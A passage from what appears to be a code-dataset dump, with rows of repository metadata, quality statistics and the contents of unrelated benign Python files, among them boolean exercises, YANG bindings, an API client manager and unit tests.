colu... | 16.111111 | 61 | 0.613263 | 570 | 3,770 | 4.05614 | 0.12807 | 0.044118 | 0.055363 | 0.066609 | 0.75692 | 0.75692 | 0.75 | 0.735294 | 0.735294 | 0.690311 | 0 | 0.04851 | 0.234483 | 3,770 | 233 | 62 | 16.180258 | 0.752599 | 0.1 | 0 | 0.816 | 0 | 0 | 0.001505 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0 | 0 | 0 | 0.128 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
825f0c84df4bb74d669370195fc7eb7c88e6d1ba | 166 | py | Python | ex27.py | NannKhaingZarThinn/python-exercises | c1d3eb77de3ebbcd7e399baf53d5f6b7ca80ec8d | [
"MIT"
] | null | null | null | ex27.py | NannKhaingZarThinn/python-exercises | c1d3eb77de3ebbcd7e399baf53d5f6b7ca80ec8d | [
"MIT"
] | null | null | null | ex27.py | NannKhaingZarThinn/python-exercises | c1d3eb77de3ebbcd7e399baf53d5f6b7ca80ec8d | [
"MIT"
] | 1 | 2018-09-09T04:14:15.000Z | 2018-09-09T04:14:15.000Z | print (True and True)
print (True or True)
print (False and True)
print (True or False)
print (not True or True)
print (not False or True)
print (not False and True)
| 20.75 | 26 | 0.728916 | 31 | 166 | 3.903226 | 0.193548 | 0.371901 | 0.272727 | 0.264463 | 0.61157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186747 | 166 | 7 | 27 | 23.714286 | 0.896296 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
829c891c5a580280c381061d5027313f6eeff1c3 | 95 | py | Python | mylli/__init__.py | ignertic/mylli | 0227411a43cee4231f9f2924712856a790883536 | [
"MIT"
] | 3 | 2019-01-02T15:34:56.000Z | 2019-01-05T02:59:24.000Z | mylli/__init__.py | ignertic/mylli | 0227411a43cee4231f9f2924712856a790883536 | [
"MIT"
] | 1 | 2018-12-29T22:53:28.000Z | 2019-01-01T14:07:05.000Z | mylli/__init__.py | ignertic/mylli | 0227411a43cee4231f9f2924712856a790883536 | [
"MIT"
] | null | null | null | import __main__
from .model import MailingList
from .model import sMail
__version__ = "0.2.3"
| 15.833333 | 30 | 0.778947 | 14 | 95 | 4.714286 | 0.714286 | 0.272727 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037037 | 0.147368 | 95 | 5 | 31 | 19 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
829e8ad8ea6407f5af84217f2648f8c1a851a406 | 8,361 | py | Python | notebooks/03-01-test-vmap.py | will-henney/teresa-pn-ou5 | 5d127880c1da481f0a1fb3e23abce1d3bf9ccc1a | [
"MIT"
] | null | null | null | notebooks/03-01-test-vmap.py | will-henney/teresa-pn-ou5 | 5d127880c1da481f0a1fb3e23abce1d3bf9ccc1a | [
"MIT"
] | null | null | null | notebooks/03-01-test-vmap.py | will-henney/teresa-pn-ou5 | 5d127880c1da481f0a1fb3e23abce1d3bf9ccc1a | [
"MIT"
] | null | null | null | # ---
# jupyter:
# jupytext:
# formats: ipynb,py:light
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.13.0
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# +
from pat... | 24.663717 | 116 | 0.575768 | 1,350 | 8,361 | 3.501481 | 0.154074 | 0.03406 | 0.01777 | 0.022847 | 0.801565 | 0.789084 | 0.770044 | 0.757774 | 0.757774 | 0.756717 | 0 | 0.07443 | 0.239923 | 8,361 | 338 | 117 | 24.736686 | 0.669394 | 0.094367 | 0 | 0.603922 | 0 | 0 | 0.089568 | 0.014485 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.047059 | 0 | 0.047059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
82aa4860da5328c107cdfc90accc52cbc9df7b89 | 28,925 | py | Python | pybind/slxos/v17s_1_02/routing_system/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v17s_1_02/routing_system/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | null | null | null | pybind/slxos/v17s_1_02/routing_system/__init__.py | extremenetworks/pybind | 44c467e71b2b425be63867aba6e6fa28b2cfe7fb | [
"Apache-2.0"
] | 1 | 2021-11-05T22:15:42.000Z | 2021-11-05T22:15:42.000Z |
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from d... | 72.3125 | 957 | 0.731478 | 3,994 | 28,925 | 5.083876 | 0.051828 | 0.042354 | 0.049643 | 0.031913 | 0.862152 | 0.839301 | 0.829549 | 0.816301 | 0.815021 | 0.802413 | 0 | 0.0021 | 0.127571 | 28,925 | 399 | 958 | 72.493734 | 0.802536 | 0.137355 | 0 | 0.45339 | 0 | 0.033898 | 0.410402 | 0.16496 | 0 | 0 | 0 | 0 | 0 | 1 | 0.114407 | false | 0 | 0.067797 | 0 | 0.29661 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
82b18c556b65cac6def8eae88accb974a69e2743 | 163 | py | Python | scoring/views.py | AltusN/rhythmeet | e42f264b6d1563b4821acfe6ada1fbc93dd895ac | [
"MIT"
] | null | null | null | scoring/views.py | AltusN/rhythmeet | e42f264b6d1563b4821acfe6ada1fbc93dd895ac | [
"MIT"
] | null | null | null | scoring/views.py | AltusN/rhythmeet | e42f264b6d1563b4821acfe6ada1fbc93dd895ac | [
"MIT"
] | null | null | null | from django.shortcuts import render, HttpResponse
# Create your views here.
def view_all_gymnasts(request):
return HttpResponse('this is a response from all') | 32.6 | 54 | 0.791411 | 23 | 163 | 5.521739 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141104 | 163 | 5 | 54 | 32.6 | 0.907143 | 0.141104 | 0 | 0 | 0 | 0 | 0.194245 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
82d3d8cafcb4d22327b3f687a4adbfafe4c89dec | 938 | py | Python | python/testData/inspections/PyCompatibilityInspection/unpackingInNonParenthesizedTuplesInReturnAndYield.py | alexey-anufriev/intellij-community | ffcd46f14e630acdefcc76e2bfc7c43d2449013a | [
"Apache-2.0"
] | 1 | 2020-11-07T04:23:22.000Z | 2020-11-07T04:23:22.000Z | python/testData/inspections/PyCompatibilityInspection/unpackingInNonParenthesizedTuplesInReturnAndYield.py | alexey-anufriev/intellij-community | ffcd46f14e630acdefcc76e2bfc7c43d2449013a | [
"Apache-2.0"
] | null | null | null | python/testData/inspections/PyCompatibilityInspection/unpackingInNonParenthesizedTuplesInReturnAndYield.py | alexey-anufriev/intellij-community | ffcd46f14e630acdefcc76e2bfc7c43d2449013a | [
"Apache-2.0"
] | null | null | null | def gen(xs):
yield 42, <warning descr="Python versions 2.6, 2.7, 3.4 do not support starred expressions in tuples, lists, and sets"><warning descr="Python versions 3.5, 3.6, 3.7 do not support unpacking without parentheses in yield statements">*xs</warning></warning>
<warning descr="Python versions 2.6, 2.7 do ... | 117.25 | 388 | 0.747335 | 158 | 938 | 4.436709 | 0.322785 | 0.10271 | 0.154066 | 0.222539 | 0.607703 | 0.607703 | 0.607703 | 0.607703 | 0.564907 | 0.564907 | 0 | 0.05198 | 0.138593 | 938 | 7 | 389 | 134 | 0.815594 | 0 | 0 | 0 | 0 | 1.2 | 0.700426 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
82d731b24cd99df931182fd3dba4297afc7db616 | 10,915 | py | Python | dolib/managers/databases.py | geraxe/dolib | 2728db044a65b0bba15e7bfbc633d24a21b955d0 | [
"MIT"
] | 5 | 2020-05-30T05:20:06.000Z | 2021-05-21T21:42:34.000Z | dolib/managers/databases.py | geraxe/dolib | 2728db044a65b0bba15e7bfbc633d24a21b955d0 | [
"MIT"
] | 17 | 2020-05-30T08:17:10.000Z | 2021-06-20T13:26:37.000Z | dolib/managers/databases.py | geraxe/dolib | 2728db044a65b0bba15e7bfbc633d24a21b955d0 | [
"MIT"
] | 3 | 2020-05-30T05:28:08.000Z | 2021-04-10T17:07:02.000Z | from typing import List
from .. import models
from .base import AsyncBaseManager, BaseManager
class DatabasesManager(BaseManager):
endpoint = "databases"
name = "databases"
def all(self) -> List[models.DBCluster]:
res = self._client.fetch_all(endpoint="databases", key="databases")
return... | 36.023102 | 88 | 0.557123 | 1,228 | 10,915 | 4.877036 | 0.058632 | 0.130239 | 0.101519 | 0.116881 | 0.961429 | 0.95809 | 0.95809 | 0.931541 | 0.908165 | 0.86709 | 0 | 0 | 0.292808 | 10,915 | 302 | 89 | 36.142384 | 0.775878 | 0.001374 | 0 | 0.669261 | 0 | 0 | 0.124621 | 0.046435 | 0 | 0 | 0 | 0 | 0 | 1 | 0.07393 | false | 0 | 0.011673 | 0 | 0.210117 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7d7cc6535ab656abb28b1fa4f4f5df332ba218ed | 246 | py | Python | src/test/tinc/tinctest/test/folder3_failure/test_folder3_failure.py | rodel-talampas/gpdb | 9c955e350334abbd922102f289f782697eb52069 | [
"PostgreSQL",
"Apache-2.0"
] | 9 | 2018-04-20T03:31:01.000Z | 2020-05-13T14:10:53.000Z | src/test/tinc/tinctest/test/folder3_failure/test_folder3_failure.py | rodel-talampas/gpdb | 9c955e350334abbd922102f289f782697eb52069 | [
"PostgreSQL",
"Apache-2.0"
] | 36 | 2017-09-21T09:12:27.000Z | 2020-06-17T16:40:48.000Z | src/test/tinc/tinctest/test/folder3_failure/test_folder3_failure.py | rodel-talampas/gpdb | 9c955e350334abbd922102f289f782697eb52069 | [
"PostgreSQL",
"Apache-2.0"
] | 32 | 2017-08-31T12:50:52.000Z | 2022-03-01T07:34:53.000Z | import tinctest
class MockTINCTestCaseForLoaderPass(tinctest.TINCTestCase):
def test_0(self):
pass
def test_1(self):
pass
class MockTINCTestCaseForLoaderFailure(tinctest.TINCTestCase):
def test_0(self):
pass
| 20.5 | 62 | 0.715447 | 25 | 246 | 6.92 | 0.48 | 0.121387 | 0.265896 | 0.312139 | 0.416185 | 0.416185 | 0.416185 | 0 | 0 | 0 | 0 | 0.015544 | 0.215447 | 246 | 11 | 63 | 22.363636 | 0.880829 | 0 | 0 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.444444 | 0.111111 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
8148518264cbab32bd07937950ca56633186ba1a | 64 | py | Python | LocationTeleoperation.py | kdglider/black_baron | 298eeea3eb811a4adc4aad5819b3e9f5e84eb928 | [
"BSD-3-Clause"
] | 1 | 2020-10-18T13:08:03.000Z | 2020-10-18T13:08:03.000Z | LocationTeleoperation.py | kdglider/black_baron | 298eeea3eb811a4adc4aad5819b3e9f5e84eb928 | [
"BSD-3-Clause"
] | null | null | null | LocationTeleoperation.py | kdglider/black_baron | 298eeea3eb811a4adc4aad5819b3e9f5e84eb928 | [
"BSD-3-Clause"
] | 1 | 2020-10-18T13:07:51.000Z | 2020-10-18T13:07:51.000Z | import numpy
import cv2
class LocationTeleoperation:
pass
| 9.142857 | 28 | 0.78125 | 7 | 64 | 7.142857 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019608 | 0.203125 | 64 | 6 | 29 | 10.666667 | 0.960784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.25 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
8155a1ec5bff3d589a3c7441c44878fc47bd90dc | 28 | py | Python | app/test.py | DAspden/Heavy-Metal-Localizer | 1dd00ce5264f78aa482d49df77b654249f95bed9 | [
"MIT"
] | null | null | null | app/test.py | DAspden/Heavy-Metal-Localizer | 1dd00ce5264f78aa482d49df77b654249f95bed9 | [
"MIT"
] | null | null | null | app/test.py | DAspden/Heavy-Metal-Localizer | 1dd00ce5264f78aa482d49df77b654249f95bed9 | [
"MIT"
] | null | null | null | import julia
import python3
| 9.333333 | 14 | 0.857143 | 4 | 28 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041667 | 0.142857 | 28 | 2 | 15 | 14 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8176e7724daba47a37d739acd2f7fbb06caffb51 | 19 | py | Python | Face Reconstruction/Fast Few-shot Face alignment by Reconstruction/csl_common/vis/__init__.py | swapnilgarg7/Face-X | fab21bf667fa7387b8e73e5a1d72fcba4fba2818 | [
"MIT"
] | 175 | 2020-10-02T13:42:50.000Z | 2022-03-30T15:57:12.000Z | Face Reconstruction/Fast Few-shot Face alignment by Reconstruction/csl_common/vis/__init__.py | swapnilgarg7/Face-X | fab21bf667fa7387b8e73e5a1d72fcba4fba2818 | [
"MIT"
] | 704 | 2020-09-30T10:44:13.000Z | 2022-03-30T07:18:28.000Z | Face Reconstruction/Fast Few-shot Face alignment by Reconstruction/csl_common/vis/__init__.py | swapnilgarg7/Face-X | fab21bf667fa7387b8e73e5a1d72fcba4fba2818 | [
"MIT"
] | 342 | 2020-10-02T14:04:49.000Z | 2022-03-31T10:14:20.000Z | from .vis import *
| 9.5 | 18 | 0.684211 | 3 | 19 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210526 | 19 | 1 | 19 | 19 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
817924120d4de328be9d7aaec020df0bf489d153 | 69 | py | Python | src/py/statiskit/stl/__init__.py | asmeurer/STL | bec1b0e0c4fb426c7db8f28bfbbe6a6a0302512a | [
"Apache-2.0"
] | null | null | null | src/py/statiskit/stl/__init__.py | asmeurer/STL | bec1b0e0c4fb426c7db8f28bfbbe6a6a0302512a | [
"Apache-2.0"
] | 2 | 2018-02-26T08:52:12.000Z | 2018-04-19T14:47:19.000Z | src/py/statiskit/stl/__init__.py | asmeurer/STL | bec1b0e0c4fb426c7db8f28bfbbe6a6a0302512a | [
"Apache-2.0"
] | 11 | 2017-02-10T10:32:11.000Z | 2021-03-15T18:23:51.000Z | from .set import *
from .vector import *
from .generator import *
| 17.25 | 25 | 0.695652 | 9 | 69 | 5.333333 | 0.555556 | 0.416667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217391 | 69 | 3 | 26 | 23 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
81858f24f8591d95baeba3b13e22520d0101a619 | 221 | py | Python | openslides_backend/http/request.py | FinnStutzenstein/openslides-backend | fffc152f79d3446591e07a6913d9fdf30b46f577 | [
"MIT"
] | null | null | null | openslides_backend/http/request.py | FinnStutzenstein/openslides-backend | fffc152f79d3446591e07a6913d9fdf30b46f577 | [
"MIT"
] | null | null | null | openslides_backend/http/request.py | FinnStutzenstein/openslides-backend | fffc152f79d3446591e07a6913d9fdf30b46f577 | [
"MIT"
] | null | null | null | from werkzeug.wrappers import Request as WerkzeugRequest
from werkzeug.wrappers.json import JSONMixin
class Request(JSONMixin, WerkzeugRequest):
"""
Customized request object. We use the JSONMixin here.
"""
| 24.555556 | 57 | 0.764706 | 25 | 221 | 6.76 | 0.64 | 0.142012 | 0.236686 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167421 | 221 | 8 | 58 | 27.625 | 0.918478 | 0.239819 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8191649ba9e682b5099750d4a90ffaafb783e4da | 22,171 | py | Python | tests/unit/backend/corpora/common/test_dataset_validator.py | isabella232/corpora-data-portal | 09ed3cad3165f8b0db854b76404e0d5d0ea0b7d9 | [
"MIT"
] | null | null | null | tests/unit/backend/corpora/common/test_dataset_validator.py | isabella232/corpora-data-portal | 09ed3cad3165f8b0db854b76404e0d5d0ea0b7d9 | [
"MIT"
] | 1 | 2021-02-23T22:56:13.000Z | 2021-02-23T22:56:13.000Z | tests/unit/backend/corpora/common/test_dataset_validator.py | isabella232/corpora-data-portal | 09ed3cad3165f8b0db854b76404e0d5d0ea0b7d9 | [
"MIT"
] | null | null | null | import random
import string
from unittest.mock import patch
import anndata
import numpy
from pandas import DataFrame
from scipy.sparse.csr import csr_matrix
from backend.corpora.common.dataset_validator import DatasetValidator
from backend.corpora.common.utils.corpora_constants import CorporaConstants
from .. import ... | 41.832075 | 120 | 0.707636 | 2,699 | 22,171 | 5.419044 | 0.091145 | 0.057911 | 0.045125 | 0.034459 | 0.81656 | 0.797894 | 0.771229 | 0.74224 | 0.709832 | 0.689867 | 0 | 0.011026 | 0.218709 | 22,171 | 529 | 121 | 41.911153 | 0.833333 | 0.100086 | 0 | 0.612121 | 0 | 0 | 0.098598 | 0.015281 | 0 | 0 | 0 | 0 | 0.127273 | 1 | 0.078788 | false | 0.00303 | 0.030303 | 0 | 0.118182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
81a84fbcd2a972f3188521d74370d7f14ee7e34d | 254 | py | Python | xendit/models/directdebit/token/__init__.py | adyaksaw/xendit-python | 47b05f2a6582104a274dc12a172c6421de86febc | [
"MIT"
] | 10 | 2020-10-31T23:34:34.000Z | 2022-03-08T19:08:55.000Z | xendit/models/directdebit/token/__init__.py | adyaksaw/xendit-python | 47b05f2a6582104a274dc12a172c6421de86febc | [
"MIT"
] | 22 | 2020-07-30T14:25:07.000Z | 2022-03-31T03:55:46.000Z | xendit/models/directdebit/token/__init__.py | adyaksaw/xendit-python | 47b05f2a6582104a274dc12a172c6421de86febc | [
"MIT"
] | 11 | 2020-07-28T08:09:40.000Z | 2022-03-18T00:14:02.000Z | from .direct_debit_accessible_account import DirectDebitAccessibleAccount
from .direct_debit_card_link import DirectDebitCardLink
from .direct_debit_online_banking_link import DirectDebitOnlineBankingLink
from .direct_debit_token import DirectDebitToken
| 50.8 | 74 | 0.92126 | 28 | 254 | 7.928571 | 0.535714 | 0.18018 | 0.27027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062992 | 254 | 4 | 75 | 63.5 | 0.932773 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c4a95a9338d6683c365c599f8d015395e80ca80c | 258 | py | Python | sentence_transformers/cross_encoder/evaluation/__init__.py | dd-dos/sentence-transformers | 8f9c36b788e15141f723d80fea67ed16785cd18e | [
"Apache-2.0"
] | 1 | 2021-09-20T14:12:36.000Z | 2021-09-20T14:12:36.000Z | sentence_transformers/cross_encoder/evaluation/__init__.py | dd-dos/sentence-transformers | 8f9c36b788e15141f723d80fea67ed16785cd18e | [
"Apache-2.0"
] | null | null | null | sentence_transformers/cross_encoder/evaluation/__init__.py | dd-dos/sentence-transformers | 8f9c36b788e15141f723d80fea67ed16785cd18e | [
"Apache-2.0"
] | null | null | null | from .CEBinaryClassificationEvaluator import CEBinaryClassificationEvaluator
from .CECorrelationEvaluator import CECorrelationEvaluator
from .CESoftmaxAccuracyEvaluator import CESoftmaxAccuracyEvaluator
from .CRRerankingEvaluator import CERerankingEvaluator
| 51.6 | 76 | 0.922481 | 16 | 258 | 14.875 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062016 | 258 | 4 | 77 | 64.5 | 0.983471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c4bded86bbd3a7cf977d8f7bb8b5061ad440647e | 26 | py | Python | forest_benchmarking/plotting/__init__.py | msohaibalam/forest-benchmarking | 40f5fd5235803204b34fa8ba1ced4ef2e0f3098d | [
"Apache-2.0"
] | null | null | null | forest_benchmarking/plotting/__init__.py | msohaibalam/forest-benchmarking | 40f5fd5235803204b34fa8ba1ced4ef2e0f3098d | [
"Apache-2.0"
] | null | null | null | forest_benchmarking/plotting/__init__.py | msohaibalam/forest-benchmarking | 40f5fd5235803204b34fa8ba1ced4ef2e0f3098d | [
"Apache-2.0"
] | null | null | null | from .hinton import hinton | 26 | 26 | 0.846154 | 4 | 26 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c4c6897fd212accee3f7a6bfeba9fe16142964b1 | 94 | py | Python | 01-DesenvolvimentoDeSistemas/02-LinguagensDeProgramacao/01-Python/01-ListaDeExercicios/01-Gabarito/001.py | moacirsouza/nadas | ad98d73b4281d1581fd2b2a9d29001acb426ee56 | [
"MIT"
] | 1 | 2020-07-03T13:54:18.000Z | 2020-07-03T13:54:18.000Z | 01-DesenvolvimentoDeSistemas/02-LinguagensDeProgramacao/01-Python/01-ListaDeExercicios/01-Gabarito/001.py | moacirsouza/nadas | ad98d73b4281d1581fd2b2a9d29001acb426ee56 | [
"MIT"
] | null | null | null | 01-DesenvolvimentoDeSistemas/02-LinguagensDeProgramacao/01-Python/01-ListaDeExercicios/01-Gabarito/001.py | moacirsouza/nadas | ad98d73b4281d1581fd2b2a9d29001acb426ee56 | [
"MIT"
] | null | null | null | print("""
001) Crie um programa que escreva "Olá, mundo!" na tela.
""")
print('Olá, mundo!')
| 15.666667 | 56 | 0.62766 | 14 | 94 | 4.214286 | 0.785714 | 0.271186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037975 | 0.159574 | 94 | 5 | 57 | 18.8 | 0.708861 | 0 | 0 | 0 | 0 | 0 | 0.734043 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
c4dcda04c74e299d14a04befd238f39969ec0ee4 | 96 | py | Python | venv/lib/python3.8/site-packages/numpy/distutils/tests/test_fcompiler.py | GiulianaPola/select_repeats | 17a0d053d4f874e42cf654dd142168c2ec8fbd11 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/numpy/distutils/tests/test_fcompiler.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/numpy/distutils/tests/test_fcompiler.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
